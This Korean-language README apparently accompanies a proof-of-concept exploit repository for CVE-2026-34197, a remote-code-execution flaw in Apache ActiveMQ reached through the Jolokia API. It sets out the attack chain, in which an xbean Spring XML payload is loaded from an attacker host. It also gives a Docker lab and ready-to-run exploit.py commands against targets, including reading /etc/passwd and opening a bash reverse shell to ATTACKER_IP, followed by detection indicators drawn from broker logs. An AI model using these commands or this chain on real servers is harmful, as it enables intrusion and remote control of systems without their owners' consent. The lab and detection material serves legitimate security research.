
# CVE-2026-34197 개념 증명 익스플로잇 Jolokia API를 통한 Apache ActiveMQ의 RCE 취약점인 CVE-2026-34197에 대한 개념 증명 익스플로잇입니다. Python 익스플로잇, 페이로드 템플릿, 테스트 및 연구용 Docker 랩이 포함되어 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-34197 |
| 유형 | RCE (원격 코드 실행) |
| CWE | CWE-20 (잘못된 입력 검증), CWE-94 (코드 주입) |
| 영향을 받는 버전 | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| 패치된 버전 | 5.19.4, 6.2.3 |
| 인증 필요 | 예 (기본 자격 증명 admin:admin 흔함) |
| 인증 불필요 버전 | 6.0.0 — 6.1.1 (CVE-2024-32114로 인해) |
| 기본 포트 | 8161 (웹 콘솔) |
공격 체인은 다음과 같이 동작합니다:
/api/jolokia/에 POST 요청을 보내 브로커 MBean의 addNetworkConnector 작업을 호출합니다.vm:// 전송 URI가 포함됩니다.brokerConfig 매개변수를 수락합니다.xbean: 스키마는 리소스가 Spring XML 구성 파일임을 나타냅니다.Runtime.getRuntime().exec()를 실행하는 빈도 포함됩니다.공격자 ActiveMQ (피해자)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATTACKER/x.xml) |
| |
| |-- VM 브로커 생성
| |-- x.xml 다운로드
|<-- GET /x.xml --------------------|
|-- XML 페이로드로 응답 ----------->|
| |-- Spring 빈 인스턴스화
| |-- Runtime.exec(COMMAND)
| |
CVE-2026-34197/
├── README.md # 이 파일
├── exploit.py # 주요 PoC
├── payloads/
│ └── template.xml # Spring XML 페이로드 템플릿
├── docker/
│ └── docker-compose.yml # 취약한 실험실 환경
└── LICENSE
requests, http.server, argparse (표준 라이브러리)pip install requests
cd docker
docker-compose up -d
이 명령은 localhost:8161에서 취약한 ActiveMQ Classic 5.18.6을 실행합니다.
# 기본 자격 증명을 사용한 기본 사용법
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
# 자격 증명 지정
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p admin
# 페이로드 HTTP 서버 포트 지정
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
# 인증 없음 모드 (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
# 리버스 셸
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
| 매개변수 | 설명 |
|---|---|
-t, --target | 대상의 기본 URL (예: http://10.0.0.1:8161) |
-l, --lhost | XML 페이로드를 제공할 공격자 IP |
-lp, --lport | 로컬 HTTP 서버 포트 (기본값: 8888) |
-c, --command | 대상에서 실행할 명령 |
-u, --user | 사용자 (기본값: admin) |
-p, --password | 비밀번호 (기본값: admin) |
--no-auth | 자격 증명을 보내지 않음 (6.0.0 - 6.1.1 버전용) |
--broker-name | 브로커 이름 (기본값: localhost) |
ActiveMQ 브로커 로그의 지표:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
기타 지표:
addNetworkConnector가 포함된 /api/jolokia/에 대한 POST 요청brokerConfig=xbean:http가 포함된 vm:// URI가 있는지 브로커 로그 모니터링이 PoC는 교육 및 보안 연구 목적으로만 제공됩니다. 명시적 승인 없이 시스템에 이 도구를 사용하는 것은 불법입니다. 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY